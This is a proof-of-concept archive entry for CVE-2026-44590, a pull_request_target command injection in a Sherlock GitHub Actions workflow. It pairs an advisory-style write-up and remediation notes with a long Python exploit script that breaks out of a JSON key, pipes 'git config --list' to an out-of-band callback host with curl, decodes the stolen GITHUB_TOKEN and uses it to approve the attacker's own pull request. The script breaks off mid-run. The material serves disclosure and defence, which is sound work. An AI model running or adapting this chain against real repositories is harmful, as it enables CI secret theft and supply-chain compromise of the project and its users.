PoC Archive PoC Archive
Critical CVE-2026-44590 patched

Sherlock CI `pull_request_target` Command Injection → GitHub Actions Secret Exfiltration (CVE-2026-44590)

by Astaruf (Lorenzo Anastasi) · 2026-07-05

CVSS 9.3/10
Severity
Critical
CVE
CVE-2026-44590
Category
cloud
Affected product
sherlock-project/sherlock (GitHub Actions workflow validate_modified_targets.yml)
Affected versions
Commits up to and including pre-fix commit 271608fb (fixed in 6eaec5cc)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherAstaruf (Lorenzo Anastasi)
CVE / AdvisoryCVE-2026-44590
Categorycloud
SeverityCritical
CVSS Score9.3 (CVSS v3.1)
StatusPoC
Tagsgithub-actions, pull_request_target, command-injection, ci-cd, supply-chain, token-exfiltration, sherlock
RelatedN/A

Affected Target

FieldValue
Software / Systemsherlock-project/sherlock (GitHub Actions workflow validate_modified_targets.yml)
Versions AffectedCommits up to and including pre-fix commit 271608fb (fixed in 6eaec5cc)
Language / PlatformPython 3 (PoC), GitHub Actions YAML (target)
Authentication RequiredNo (any GitHub user can open a PR)
Network Access RequiredYes

Summary

The validate_modified_targets.yml GitHub Actions workflow in sherlock-project/sherlock uses the dangerous pull_request_target trigger and processes attacker-controlled pull request data (a JSON entry key) in a shell context without sanitization, resulting in command injection. Because pull_request_target runs in the privileged context of the base repository with access to a GITHUB_TOKEN, any external contributor who opens a malicious pull request can execute arbitrary commands in CI, exfiltrate the workflow token, and use it to auto-approve their own pull request — a full supply-chain compromise requiring zero human interaction beyond opening the PR.


Vulnerability Details

Root Cause

The workflow trigger pull_request_target executes with the permissions and secrets of the base repository, but the job checks out and processes untrusted content from the pull request (a modified entry in sherlock_project/resources/data.json). A key/value from that file is interpolated into a shell command without escaping, allowing arbitrary command injection. actions/checkout also persists the GITHUB_TOKEN into .git/config (http.https://github.com/.extraheader), making it retrievable by any command executed inside the runner.

Attack Vector

  1. Attacker forks the target repository (or, for PoC safety, a personal fork is used instead of the real upstream).
  2. Attacker crafts a pull request that modifies sherlock_project/resources/data.json, injecting a shell metacharacter payload into a JSON key.
  3. Attacker opens the PR, which triggers validate_modified_targets.yml via pull_request_target in the base repository’s privileged context.
  4. The injected payload executes inside the CI runner, where it can read .git/config to recover the GITHUB_TOKEN (base64-encoded under http.extraheader) and exfiltrate it out-of-band (via an OAST/webhook callback).
  5. The attacker decodes the stolen token and uses the GitHub REST API to auto-approve their own pull request as github-actions[bot], and/or merge or push further malicious changes.

Impact

Full compromise of CI secrets scoped to the workflow’s GITHUB_TOKEN, enabling unauthorized code review approval, potential merges of malicious code, and a supply-chain compromise vector for any consumer of the sherlock package/tool.


Environment / Lab Setup

Target: a personal GitHub fork of sherlock-project/sherlock (to avoid publishing
a live exploit against the real upstream repository).
Attacker tooling:
  - Python 3.8+ (stdlib only)
  - gh (GitHub CLI), authenticated via `gh auth login`
  - git
  - interactsh-client (optional, for automated OAST verification)

Proof of Concept

PoC Script

See poc.py in this folder.

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python3 poc.py --fork-owner <your-github-username>

python3 poc.py --fork-owner <your-github-username> --vulnerable

python3 poc.py --fork-owner <your-github-username> --vulnerable --mode exfil

The script automates the entire chain end-to-end against a personal fork: it rolls the fork back to the pre-fix commit, opens a malicious pull request that triggers pull_request_target, spawns an OAST listener to catch the exfiltrated GITHUB_TOKEN, decodes the token, and uses it to auto-approve the same PR via the GitHub API — printing a final VULNERABILITY CONFIRMED or FIX VERIFIED verdict.


Detection & Indicators of Compromise

- GitHub Actions run logs for `validate_modified_targets.yml` showing outbound
  network requests (curl/wget) to unfamiliar domains during PR validation.
- Unexpected `git config --list` or environment dumps in workflow logs.
- PRs approved by `github-actions[bot]` without a corresponding maintainer action.
- Outbound HTTP callbacks to OAST-style domains (oast.*, interact.sh, requestbin, etc.)
  from GitHub-hosted runner IP ranges.

Signs of compromise:

  • Pull requests auto-approved by github-actions[bot] shortly after opening, with no maintainer review.
  • GITHUB_TOKEN-scoped API calls (PR reviews, comments, pushes) originating outside the expected workflow run window.
  • Workflow runs for pull_request_target triggered by first-time/external contributors that make unexpected outbound network calls.

Remediation

ActionDetail
Primary fixUpstream fix in commit 6eaec5cc: sanitize/validate all pull-request-controlled data before use in shell contexts, and avoid interpolating untrusted input directly into commands run under pull_request_target.
Interim mitigationSet persist-credentials: false on actions/checkout, restrict pull_request_target workflows to not check out or execute untrusted PR content, and require manual approval for workflow runs from external contributors.

References


Notes

Mirrored from https://github.com/Astaruf/CVE-2026-44590 on 2026-07-05.

poc.py
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#!/usr/bin/env python3
""""""

import argparse
import base64
import json
import os
import re
import shutil
import subprocess
import sys
import tempfile
import time
import urllib.error
import urllib.request
from datetime import datetime, timezone

HARMLESS_MARKER = "Command Injection confirmed at"
EXFIL_TOKEN_RE = re.compile(
    r"http\.https://github\.com/\.extraheader=AUTHORIZATION:\s*basic\s+([A-Za-z0-9+/=]+)",
    re.IGNORECASE,
)

UPSTREAM = "sherlock-project/sherlock"
DATA_JSON_PATH = "sherlock_project/resources/data.json"
WORKFLOW_FILE = "validate_modified_targets.yml"

# Parent of the fix commit (6eaec5cc, "Fix command injection vuln", 2026-05-02).
# Resetting the fork's master to this SHA reproduces the pre-fix vulnerable
# workflow. Used by --vulnerable.
VULNERABLE_COMMIT = "271608fb22209ef15a775cce88dd07fd4fa76483"


# -----------------------------------------------------------------------------
# Helpers
# -----------------------------------------------------------------------------

def run(cmd, cwd=None, check=True, capture=True):
    """Run a shell command and return CompletedProcess."""
    proc = subprocess.run(
        cmd,
        cwd=cwd,
        check=check,
        capture_output=capture,
        text=True,
    )
    return proc


def log(msg, level="INFO"):
    ts = datetime.now(timezone.utc).strftime("%H:%M:%S")
    icons = {"INFO": "[*]", "OK": "[+]", "ERR": "[!]", "STEP": "[>]"}
    print(f"{ts} {icons.get(level, '[*]')} {msg}", flush=True)


def require_tool(tool):
    if not shutil.which(tool):
        log(f"Required tool not found: {tool}", "ERR")
        sys.exit(1)


def gh_api(endpoint, method="GET", fields=None):
    cmd = ["gh", "api", endpoint, "-X", method]
    if fields:
        for k, v in fields.items():
            cmd.extend(["-f", f"{k}={v}"])
    try:
        proc = run(cmd, check=True)
        return json.loads(proc.stdout) if proc.stdout.strip() else None
    except subprocess.CalledProcessError as e:
        log(f"gh api {endpoint} failed: {e.stderr.strip()}", "ERR")
        return None


# -----------------------------------------------------------------------------
# OAST (interactsh) integration
# -----------------------------------------------------------------------------

def find_interactsh_client():
    """Locate interactsh-client binary in PATH or ~/go/bin."""
    p = shutil.which("interactsh-client")
    if p:
        return p
    candidate = os.path.expanduser("~/go/bin/interactsh-client")
    if os.path.isfile(candidate) and os.access(candidate, os.X_OK):
        return candidate
    return None


def spawn_interactsh():
    """
    Spawn interactsh-client as a subprocess.
    Returns (process, oast_url, log_path) or (None, None, None) on failure.
    """
    binary = find_interactsh_client()
    if not binary:
        log("interactsh-client not found in PATH or ~/go/bin", "ERR")
        log("Install with: go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest", "INFO")
        return None, None, None

    log_path = tempfile.mktemp(prefix="poc-oast-", suffix=".log")
    proc = subprocess.Popen(
        [binary, "-v", "-o", log_path],
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
        bufsize=1,
    )

    # Read stdout until the OAST URL appears (typically within a few seconds)
    oast_url = None
    deadline = time.time() + 20
    url_re = re.compile(r"([a-z0-9]+\.oast\.[a-z]+)")
    while time.time() < deadline:
        line = proc.stdout.readline()
        if not line:
            time.sleep(0.2)
            continue
        m = url_re.search(line)
        if m:
            oast_url = "https://" + m.group(1)
            break

    if not oast_url:
        proc.terminate()
        log("Could not parse OAST URL from interactsh-client output", "ERR")
        return None, None, None

    return proc, oast_url, log_path


def check_oast_callback(log_path, marker, retries=6, delay=5):
    """
    Look for `marker` in the interactsh log.
    Polls a few times because callbacks can lag a few seconds after the
    workflow completes.
    """
    if not log_path or not os.path.isfile(log_path):
        return None
    for attempt in range(retries):
        with open(log_path, errors="replace") as f:
            content = f.read()
        if marker in content:
            return content
        if attempt < retries - 1:
            time.sleep(delay)
    return None


def extract_token_from_log(log_path, retries=6, delay=5):
    """
    Look for the AUTHORIZATION header dumped by `git config --list` in the
    interactsh log, extract the base64 blob, and decode it. Returns the
    decoded `x-access-token:ghs_...` string or None.
    """
    if not log_path or not os.path.isfile(log_path):
        return None
    for attempt in range(retries):
        with open(log_path, errors="replace") as f:
            content = f.read()
        m = EXFIL_TOKEN_RE.search(content)
        if m:
            try:
                decoded = base64.b64decode(m.group(1)).decode("utf-8", errors="replace")
                return decoded
            except (ValueError, base64.binascii.Error):
                return None
        if attempt < retries - 1:
            time.sleep(delay)
    return None


# -----------------------------------------------------------------------------
# Token-based PR approval
# -----------------------------------------------------------------------------

def parse_pr_number(pr_url):
    """Extract the PR number from a URL like https://github.com/o/r/pull/42."""
    m = re.search(r"/pull/(\d+)", pr_url or "")
    return int(m.group(1)) if m else None


def approve_pr_with_token(repo, pr_number, token):
    """
    Use the exfiltrated GITHUB_TOKEN to approve the attacker's own PR via
    the GitHub REST API. Returns the parsed JSON response or None.

    Mirrors the canonical PoC curl:
        curl -X POST \\
          -H "Authorization: token <GITHUB_TOKEN>" \\
          -H "Accept: application/vnd.github+json" \\
          https://api.github.com/repos/{repo}/pulls/{n}/reviews \\
          -d '{"event":"APPROVE","body":"All checks passed. LGTM!"}'
    """
    url = f"https://api.github.com/repos/{repo}/pulls/{pr_number}/reviews"
    body = json.dumps({
        "event": "APPROVE",
        "body": "All checks passed. LGTM!",
    }).encode("utf-8")
    req = urllib.request.Request(
        url,
        data=body,
        method="POST",
        headers={
            "Authorization": f"token {token}",
            "Accept": "application/vnd.github+json",
            "Content-Type": "application/json",
            "User-Agent": "poc-cve-pr-target",
        },
    )
    try:
        with urllib.request.urlopen(req, timeout=15) as resp:
            return json.loads(resp.read().decode("utf-8", errors="replace"))
    except urllib.error.HTTPError as e:
        body = e.read().decode("utf-8", errors="replace")
        log(f"GitHub API error {e.code}: {body[:200]}", "ERR")
        return None
    except urllib.error.URLError as e:
        log(f"Network error calling GitHub API: {e}", "ERR")
        return None


# -----------------------------------------------------------------------------
# Fork manipulation
# -----------------------------------------------------------------------------

def reset_fork_to_vulnerable(fork_repo, clone_url, commit_sha):
    """
    Force-reset the fork's master branch to a specific commit (the pre-fix
    revision). Used to reproduce the vulnerability against the original
    vulnerable workflow.
    """
    workdir = tempfile.mkdtemp(prefix="poc-reset-")
    try:
        log(f"Cloning {fork_repo} into temp dir for reset", "INFO")
        run(["git", "clone", clone_url, workdir])
        log(f"Resetting master to {commit_sha[:8]}", "INFO")
        run(["git", "reset", "--hard", commit_sha], cwd=workdir)
        log("Force-pushing to origin/master", "INFO")
        run(["git", "push", "--force", "origin", "master"], cwd=workdir)
        log("Fork master rolled back to vulnerable commit", "OK")
    finally:
        shutil.rmtree(workdir, ignore_errors=True)


# -----------------------------------------------------------------------------
# Payload construction
# -----------------------------------------------------------------------------

def build_payload(mode, oast_url):
    """
    Build a JSON key that, after the GitHub Actions templating engine
    expands it inside the `run:` block, breaks out of the surrounding
    double quotes and executes a curl.

    Vulnerable command (after templating):
        poetry run pytest ... --chunked-sites "<KEY>"

    Injection: close the quote, run a command, reopen the quote with echo.
    """
    if mode == "harmless":
        cmd = (
            f'curl -s -X POST -d "{HARMLESS_MARKER} $(date -u +%FT%TZ)" '
            f"{oast_url}/ci-test"
        )
    elif mode == "exfil":
        # Dumps git config to OAST. The base64-encoded token sits in
        # http.https://github.com/.extraheader. Then sleep keeps the
        # workflow (and the short-lived GITHUB_TOKEN) alive long enough
        # for the script to use the token (e.g. to approve the PR).
        cmd = (
            f"git config --list | curl -s -X POST -d @- {oast_url}/gitconfig; "
            "sleep 180"
        )
    else:
        raise ValueError(f"unknown mode: {mode}")

    # Close the double quote, run cmd, restart with `echo "` so the rest
    # of the templated command stays syntactically valid.
    return f'TestSite"; {cmd}; echo "'


def inject_payload(repo_dir, payload_key):
    """Add the payload key to data.json with a minimal valid site entry."""
    data_path = os.path.join(repo_dir, DATA_JSON_PATH)
    if not os.path.isfile(data_path):
        log(f"data.json not found at {data_path}", "ERR")
        sys.exit(1)

    with open(data_path) as f:
        data = json.load(f)

    if payload_key in data:
        log("Payload key already present in data.json (unexpected)", "ERR")
        sys.exit(1)

    data[payload_key] = {
        "errorType": "status_code",
        "url": "https://example.com/{}",
        "urlMain": "https://example.com/",
        "username_claimed": "test",
    }

    with open(data_path, "w") as f:
        json.dump(data, f, indent=4, sort_keys=True)

    log(f"Injected payload key into {DATA_JSON_PATH}", "OK")


# -----------------------------------------------------------------------------
# Workflow run polling
# -----------------------------------------------------------------------------

def find_workflow_run(repo, branch, since_iso, timeout=180):
    """Poll the Actions API for a workflow_run on the given branch."""
    log(f"Polling for workflow run on branch '{branch}' (timeout {timeout}s)", "STEP")
    deadline = time.time() + timeout
    while time.time() < deadline:
        runs = gh_api(
            f"repos/{repo}/actions/runs?branch={branch}&event=pull_request_target&per_page=5"
        )
        if runs and runs.get("workflow_runs"):
            for r in runs["workflow_runs"]:
                if r.get("created_at", "") >= since_iso:
                    return r
        time.sleep(5)
    return None


def wait_for_run_completion(repo, run_id, timeout=300):
    log(f"Waiting for run {run_id} to complete", "STEP")
    deadline = time.time() + timeout
    while time.time() < deadline:
        run_data = gh_api(f"repos/{repo}/actions/runs/{run_id}")
        if not run_data:
            time.sleep(5)
            continue
        status = run_data.get("status")
        conclusion = run_data.get("conclusion")
        log(f"  status={status} conclusion={conclusion}")
        if status == "completed":
            return run_data
        time.sleep(10)
    return None


# -----------------------------------------------------------------------------
# Main flow
# -----------------------------------------------------------------------------

def main():
    parser = argparse.ArgumentParser(
        description=(
            "CVE-2026-44590 PoC by Astaruf\n"
            "RCE via pull_request_target Injection -> Supply Chain Compromise in sherlock-project/sherlock GitHub Actions Workflow\n"
            "\n"
            "Full write-up: https://nstsec.com/posts/sherlock-rce-pull-request-target-cve-2026-44590/\n"
            "\n"
            "Prerequisites:\n"
            "  gh auth login\n"
            "  go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest\n"
            "\n"
            "Quick start:\n"
            "  # Verify the upstream fix (expects FIX VERIFIED)\n"
            "  python3 poc.py --fork-owner <your-github-username>\n"
            "\n"
            "  # Reproduce the original vulnerability (expects VULNERABILITY CONFIRMED)\n"
            "  python3 poc.py --fork-owner <your-github-username> --vulnerable\n"
            "\n"
            "  # Full impact: token exfiltration + auto-approve PR\n"
            "  python3 poc.py --fork-owner <your-github-username> --vulnerable --mode exfil"
        ),
        formatter_class=argparse.RawTextHelpFormatter,
        epilog=__doc__,
    )
    parser.add_argument(
        "--fork-owner", required=True,
        help="GitHub username that owns the fork of sherlock-project/sherlock",
    )
    parser.add_argument(
        "--fork-name", default="sherlock",
        help="Name of the fork repository (default: sherlock)",
    )
    parser.add_argument(
        "--oast-url", default=None,
        help="OAST endpoint to receive the callback. If omitted, the script "
             "spawns an interactsh-client subprocess and auto-verifies the "
             "callback at the end (harmless mode only).",
    )
    parser.add_argument(
        "--mode", choices=["harmless", "exfil"], default="harmless",
        help=(
            "Payload type (default: harmless).\n"
            "\n"
            "  harmless\n"
            "      Single curl with a static confirmation string.\n"
            "      No secrets touched.\n"
            "\n"
            "  exfil\n"
            "      Dumps `git config --list` (which contains the GITHUB_TOKEN\n"
            "      base64-encoded by actions/checkout) to the OAST, then\n"
            "      sleeps 180s. The script grabs the token while the workflow\n"
            "      is alive and uses it to auto-approve the malicious PR via\n"
            "      the GitHub API."
        ),
    )
    parser.add_argument(
        "--base-branch", default="master",
        help="PR target branch on the fork (default: master)",
    )
    parser.add_argument(
        "--keep-branch", action="store_true",
        help="Do not delete the PoC branch after completion",
    )
    parser.add_argument(
        "--no-poll", action="store_true",
        help="Skip workflow run polling and exit after PR creation",
    )
    parser.add_argument(
        "--no-sync", action="store_true",
        help="Skip syncing the fork with upstream (useful when testing a pinned commit)",
    )
    parser.add_argument(
        "--vulnerable", action="store_true",
        help=f"Roll back the fork's master to the pre-fix commit ({VULNERABLE_COMMIT[:8]}) "
             "before running the PoC. Implies --no-sync.",
    )
    args = parser.parse_args()

    fork_repo = f"{args.fork_owner}/{args.fork_name}"
    branch_name = f"poc-cve-pr-target-{int(time.time())}"

    # 0. Prerequisites
    require_tool("gh")
    require_tool("git")

    # If no OAST URL provided, spawn interactsh-client and use its URL
    interactsh_proc = None
    interactsh_log = None
    auto_check = False
    if not args.oast_url:
        log("No --oast-url provided, spawning interactsh-client", "STEP")
        interactsh_proc, args.oast_url, interactsh_log = spawn_interactsh()
        if not args.oast_url:
            sys.exit(1)
        auto_check = True
        log(f"Interactsh URL: {args.oast_url}", "OK")

    log(f"Target fork:    {fork_repo}", "INFO")
    log(f"Base branch:    {args.base_branch}", "INFO")
    log(f"PoC branch:     {branch_name}", "INFO")
    log(f"Payload mode:   {args.mode}", "INFO")
    log(f"OAST endpoint:  {args.oast_url}", "INFO")

    # 1. Verify (or create) the fork
    log("Verifying fork", "STEP")
    info = gh_api(f"repos/{fork_repo}")
    fork_just_created = False
    if not info:
        log(f"Fork {fork_repo} not found, creating it", "STEP")
        run(["gh", "repo", "fork", UPSTREAM, "--clone=false"], check=True)
        # Forks are created asynchronously; poll until ready
        for _ in range(30):
            time.sleep(2)
            info = gh_api(f"repos/{fork_repo}")
            if info:
                break
        if not info:
            log("Fork creation timed out", "ERR")
            sys.exit(1)
        fork_just_created = True
        log("Fork created", "OK")
    if not info.get("fork"):
        log(f"{fork_repo} exists but is not a fork", "ERR")
        sys.exit(1)
    parent = info.get("parent", {}).get("full_name")
    if parent != UPSTREAM:
        log(f"{fork_repo} is a fork of {parent}, expected {UPSTREAM}", "ERR")
        sys.exit(1)
    log(f"Fork verified (parent: {parent})", "OK")

    # 2. Detect whether Actions are actually runnable on the fork.
    # Forks of repos that already contain workflows have a fork-level UI gate
    # ("Workflows aren't being run on this forked repository") that must be
    # cleared by clicking the banner once. There is no public API for this.
    # Heuristic: if the fork was just created OR has zero historical runs,
    # prompt the user to enable Actions in the browser.
    runs_data = gh_api(f"repos/{fork_repo}/actions/runs?per_page=1")
    total_runs = runs_data.get("total_count", 0) if runs_data else 0
    if fork_just_created or total_runs == 0:
        actions_url = f"https://github.com/{fork_repo}/actions"
        log("=" * 70, "INFO")
        log("MANUAL STEP REQUIRED", "INFO")
        log("=" * 70, "INFO")
        log(f"Open this URL in a browser:  {actions_url}", "INFO")
        log("Click 'I understand my workflows, go ahead and enable them'.", "INFO")
        log("This is required only once per fresh fork (GitHub-imposed).", "INFO")
        log("=" * 70, "INFO")
        try:
            input("Press ENTER once you've enabled Actions on the fork... ")
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